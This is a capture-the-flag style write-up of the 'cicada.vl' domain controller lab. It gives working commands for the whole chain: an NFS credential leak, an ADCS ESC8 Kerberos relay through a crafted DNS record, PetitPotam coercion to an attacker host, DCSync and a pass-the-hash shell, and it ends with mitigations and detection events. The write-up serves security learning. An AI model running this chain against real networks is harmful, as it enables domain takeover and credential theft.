Overview

Machine author: xct. Windows Server Domain Controller. Domain: cicada.vl. Host: DC-JPQ225.

Kill chain: a password on a sticky note in an image from an open NFS share, Kerberos authentication (NTLM disabled), ADCS vulnerable to ESC8, a Kerberos relay (bypassing the self-relay block) plus PetitPotam coercion, a certificate as the DC machine account, DCSync, the Administrator hash, a shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
[NFS 2049]  share /profiles (everyone)
     |  exfil vacation.png + marketing.png
     v
[OSINT/image]  password on a sticky note: Rosie.Powell : Cicada123
     |  auth ONLY via Kerberos (NTLM disabled)
     v
[ADCS]  certipy find -> CA vulnerable to ESC8 (Web Enrollment over HTTP)
     |  NTLM self-relay blocked + NTLM disabled -> need a Kerberos relay
     v
[DNS + coercion]  bloodyAD: a DNS record with a serialized empty CREDENTIAL_TARGET_INFORMATION
     |  PetitPotam forces the DC to auth to us
     v
[certipy relay]  Kerberos relay -> /certsrv/certfnsh.asp -> cert for DC-JPQ225$
     v
[certipy auth]  PKINIT -> TGT + machine-account NT hash
     v
[secretsdump]  DCSync -> Administrator hash
     v
[wmiexec]  shell as cicada\administrator -> user.txt + root.txt

The key lesson: how to perform ESC8 in an environment where NTLM is fully disabled, so the classic NTLM relay does not work. The solution is a Kerberos relay using a crafted DNS record containing a serialized (empty) CREDENTIAL_TARGET_INFORMATION structure, which bypasses the self-relay restriction.

Reconnaissance

1
2
nmap -p- -vvv --min-rate 10000 <IP>
nmap -p 53,80,88,111,135,139,389,445,464,593,636,2049,3268,3269,3389,5985,9389 -sCV <IP>
  • 53 (DNS), 88 (Kerberos), 389/636/3268/3269 (LDAP), 445 (SMB), 464 (kpasswd), 9389 (ADWS): a domain controller.
  • 2049 (NFS) + 111 (rpcbind): unusual on a Windows DC, the main entry vector.
  • 80 (IIS): later tied to ADCS Web Enrollment.
  • SMB: signing:True (required), SMBv1:False, NTLM:False (this determines the rest of the box).
  • LDAP TLS certificate: CN=DC-JPQ225.cicada.vl.
1
2
3
netexec smb <IP> --generate-hosts-file hosts
cat hosts /etc/hosts | sponge /etc/hosts
# 10.10.10.x  DC-JPQ225.cicada.vl cicada.vl DC-JPQ225

NTLM check:

1
2
3
4
5
6
7
netexec smb DC-JPQ225.cicada.vl -u guest -p ''
# STATUS_NOT_SUPPORTED  <- NTLM disabled

netexec smb DC-JPQ225.cicada.vl -u guest -p '' -k
# KDC_ERR_CLIENT_REVOKED   (guest exists but is locked)
netexec smb DC-JPQ225.cicada.vl -u oxdf  -p '' -k
# KDC_ERR_C_PRINCIPAL_UNKNOWN  (user does not exist)

STATUS_NOT_SUPPORTED on NTLM means the environment enforces Kerberos. From now, add -k to every tool and keep the clock synchronized.

Initial Access

NFS + password in an image

1
2
3
4
5
6
7
showmount -e <IP>
# Export list:
# /profiles (everyone)

sudo mount -t nfs -o rw <IP>:/profiles /mnt
ls /mnt
# Administrator  Daniel.Marshall  Debra.Wright ... Rosie.Powell  Shirley.West

/profiles maps to C:\Users. Most directories are empty, but two images are available:

1
2
3
4
5
6
find /mnt -type f -ls
# /mnt/Administrator/vacation.png     (accessible without sudo)
# /mnt/Rosie.Powell/marketing.png     (perms -rwx------ -> needs sudo)

cp   /mnt/Administrator/vacation.png .
sudo cp /mnt/Rosie.Powell/marketing.png .

NFS maps permissions by UID/GID, not domain identity. marketing.png is -rwx------, but NFS maps the owner to nobody, so local root (sudo cp) reads it anyway. root_squash is often misconfigured; always try sudo on “no access” files.

  • vacation.png: a man with a laptop on a paraglider (a decoy).
  • marketing.png: a woman at a desk, with Cicada123 visible on a yellow sticky note.

Candidate owner: Rosie.Powell (the directory the image came from).

Authenticate as Rosie.Powell (Kerberos)

1
2
sudo ntpdate -u cicada.vl        # or: sudo rdate -n <IP>
# skew > 5 min -> KRB_AP_ERR_SKEW
1
2
3
4
5
6
7
# without -k (NTLM) -> does not work:
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123
# STATUS_NOT_SUPPORTED

# with Kerberos -> OK:
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k
# [+] cicada.vl\Rosie.Powell:Cicada123
1
2
3
4
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k --shares
# CertEnroll   READ         Active Directory Certificate Services share  <- ADCS
# profiles$    READ,WRITE
# + standard: ADMIN$, C$, IPC$, NETLOGON, SYSVOL

CertEnroll confirms AD CS on the DC. It holds only public keys and CRLs, but it is a signal to enumerate ADCS.

Reusable TGT:

1
2
3
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k --generate-tgt Rosie.Powell
export KRB5CCNAME=Rosie.Powell.ccache
KRB5CCNAME=Rosie.Powell.ccache smbclient.py -k DC-JPQ225.cicada.vl

Privilege Escalation

ADCS, identifying ESC8

1
certipy find -target DC-JPQ225.cicada.vl -u [email protected] -p Cicada123 -k -vulnerable -stdout
1
2
3
4
5
6
7
CA Name         : cicada-DC-JPQ225-CA
Web Enrollment  : HTTP  Enabled : True     <- the core of ESC8
                  HTTPS Enabled : False
Enroll          : CICADA.VL\Authenticated Users
[!] Vulnerabilities
    ESC8 : Web Enrollment is enabled over HTTP.
Certificate Templates : [!] Could not find any certificate templates

No vulnerable templates (ESC1-7), but the CA itself is vulnerable to ESC8.

ESC8 = relaying authentication to the AD CS web enrollment endpoint (http://<ca>/certsrv/certfnsh.asp):

  1. Coercion: force a privileged account (here the DC machine account) to authenticate to us (PetitPotam / PrinterBug / DFSCoerce / Coercer).
  2. Relay: pass the captured authentication to the web enrollment endpoint.
  3. Enroll as the victim: the CA issues a certificate for the relayed account (for a machine account, the DomainController template).
  4. Use the certificate: certipy auth -> PKINIT -> TGT and/or NT hash of the victim.

Why classic ESC8 does not work here:

  • NTLM is disabled, so there is nothing to relay in the classic NTLM sense.
  • NTLM self-relay is blocked (CVE-2019-1384/MIC and later protections; you cannot relay a machine’s authentication back to the same machine over NTLM).

The solution is a Kerberos relay.

ESC8 via a Kerberos relay (Linux path)

Kerberos is designed to resist relaying: a client requests a service ticket (ST) for a specific target SPN; a ticket encrypted with service A’s key does not work on service B. To relay Kerberos authentication, the victim must ask the KDC for a ticket for our host but connect to us so we can forward it.

Technique (Synacktiv / Tyranid’s Lair, James Forshaw):

  • Create a DNS record pointing at our machine, whose name contains the target host plus a serialized, empty CREDENTIAL_TARGET_INFORMATION structure.
  • When the victim resolves that name and builds the SPN, Windows “thinks” it is connecting to the target service, but the traffic reaches our IP, and we forward the authentication to the real DC.

Record format: <host><serialized empty CREDENTIAL_TARGET_INFORMATION>. For this box: DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA

Step 1, add the malicious DNS record:

1
2
3
bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl \
  add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA <ATTACKER_IP>
# [+] ...has been successfully added

A regular authenticated domain user can create records in an AD-integrated zone (ADIDNS); no admin rights needed.

Step 2, start the relay (certipy):

1
2
3
certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController
# [*] Targeting .../certsrv/certfnsh.asp (ESC8)
# [*] Listening on 0.0.0.0:445   <- SMB listener the coercion will point at

Use a current certipy (v5.x) that supports relay + Kerberos.

Step 3, check and choose a coercion method:

1
2
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus
# VULNERABLE: DFSCoerce, PetitPotam, PrinterBug

Step 4, coerce (PetitPotam) with LISTENER = the malicious DNS record:

1
2
3
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus \
  -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam
# COERCE_PLUS ... Exploit Success, lsarpc\EfsRpcAddUsersToFile

LISTENER is the malicious DNS record, not a raw IP, so the victim requests a Kerberos ticket and connects to us.

Relay result:

1
2
3
4
5
6
7
[*] Received connection from DC -> attacking http://dc-jpq225.cicada.vl
[*] Authenticating against ... as / SUCCEED
[*] Requesting certificate ... template 'DomainController'
[*] Certificate issued with request ID 95
[*] Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl'
[*] Certificate object SID is 'S-1-5-21-687703393-1447795882-66098247-1000'
[*] Wrote certificate and private key to 'dc-jpq225.pfx'

A .pfx, the identity certificate of the machine account DC-JPQ225$.

Certificate to machine-account hash

1
2
3
4
5
6
certipy auth -pfx dc-jpq225.pfx -dc-ip <IP>
# [*] Using principal: '[email protected]'
# [*] Got TGT
# [*] Wrote credential cache to 'dc-jpq225.ccache'
# [*] Got hash for '[email protected]':
#     aad3b435b51404eeaad3b435b51404ee:a65952c664e9cf5de60195626edbeee3

certipy auth performs PKINIT and returns a TGT plus the NT hash via the U2U/PAC extension.

DCSync and shell

The DC machine account has directory replication rights (DS-Replication-Get-Changes*), so DCSync:

1
2
3
KRB5CCNAME=dc-jpq225.ccache secretsdump.py -k -no-pass \
  cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl -just-dc-user administrator
# Administrator:500:aad3b435...:85a0da53871a9d56b6cd05deda3a5e87:::
1
2
3
4
5
6
7
netexec smb dc-jpq225.cicada.vl -u administrator -H 85a0da53871a9d56b6cd05deda3a5e87 -k
# (Pwn3d!)

wmiexec.py cicada.vl/[email protected] -k -hashes :85a0da53871a9d56b6cd05deda3a5e87
# C:\> whoami -> cicada\administrator
# type C:\users\administrator\desktop\user.txt
# type C:\users\administrator\desktop\root.txt

The machine account does not get a shell directly, but its TGT is enough for DCSync, which gives the Administrator hash and full domain compromise.

Alternative path, RemoteKrbRelay (Windows VM)

MachineAccountQuota = 10 (default), so:

  1. Join your own Windows VM to the domain (rosie.powell).
  2. Run RemoteKrbRelay.exe (CICADA8 / MzHmO), which automates coercion + Kerberos relay:
1
2
3
4
.\RemoteKrbRelay.exe -adcs -template DomainController `
  -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl `
  -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
# [+] Certificate in PKCS12: MIACAQ...   (base64)
1
2
echo "MIACA..." | base64 -d > dc.pfx
certipy auth -pfx dc.pfx -dc-ip <IP>

Detection and Mitigation

ESC8:

  • Disable web enrollment over HTTP; enforce HTTPS with Extended Protection for Authentication (EPA / channel binding).
  • Enable “Require SSL” on certsrv in IIS.
  • Introduce request signing and separate CA and DC roles.

Relay / coercion:

  • Disable unneeded services that enable coercion (Print Spooler on the DC, EFSRPC).
  • Enforce SMB signing (already present here) and LDAP signing + channel binding.
  • Monitor ADIDNS anomalies: authenticated users creating unusual DNS records.

NFS:

  • Do not expose C:\Users over NFS; configure root_squash and limit exports to specific hosts.

Detection (what to log):

  • Event 4886/4887 (certificate requests and issuance on the CA): a sudden DC$ enrollment from the DomainController template.
  • Event 4768/4769: PKINIT / ST requests from unusual sources.
  • Event 5136: DNS object modifications in AD.
  • SMB traffic to unusual hosts after an EFSRPC / EfsRpcAddUsersToFile call.

Lessons Learned

  • NFS on a Windows DC is a red flag; always showmount -e; UID/GID mapping lets you bypass apparent lack of access with sudo.
  • STATUS_NOT_SUPPORTED means NTLM disabled; switch to Kerberos (-k) and synchronize the clock.
  • ESC8 does not require a vulnerable template; HTTP web enrollment is enough. certipy find -vulnerable shows it at the CA level.
  • Kerberos relay bypasses the lack of NTLM / self-relay via a DNS record with a serialized empty CREDENTIAL_TARGET_INFORMATION. The key technique of this box.
  • PetitPotam was the most stable coercion; coerce_plus offers several methods.
  • The DC machine account is the key to the domain via DCSync, even without a direct shell.
  • Two equivalent exploitation paths: Linux (bloodyAD + certipy relay) and Windows (domain-joined VM + RemoteKrbRelay).

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 1. recon
nmap -p- --min-rate 10000 <IP>
nmap -p<ports> -sCV <IP>
netexec smb <IP> --generate-hosts-file hosts

# 2. NFS
showmount -e <IP>
sudo mount -t nfs -o rw <IP>:/profiles /mnt
sudo cp /mnt/Rosie.Powell/marketing.png .   # -> password Cicada123

# 3. Kerberos auth (NTLM off)
sudo ntpdate -u cicada.vl
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k --shares

# 4. ADCS
certipy find -target DC-JPQ225.cicada.vl -u [email protected] -p Cicada123 -k -vulnerable -stdout

# 5. ESC8 via Kerberos relay
bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl \
  add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA <ATTACKER_IP>
certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController   # window 1
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus \
  -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam   # window 2

# 6. cert -> hash -> DCSync -> shell
certipy auth -pfx dc-jpq225.pfx -dc-ip <IP>
KRB5CCNAME=dc-jpq225.ccache secretsdump.py -k -no-pass \
  cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl -just-dc-user administrator
wmiexec.py cicada.vl/[email protected] -k -hashes :<NT_HASH>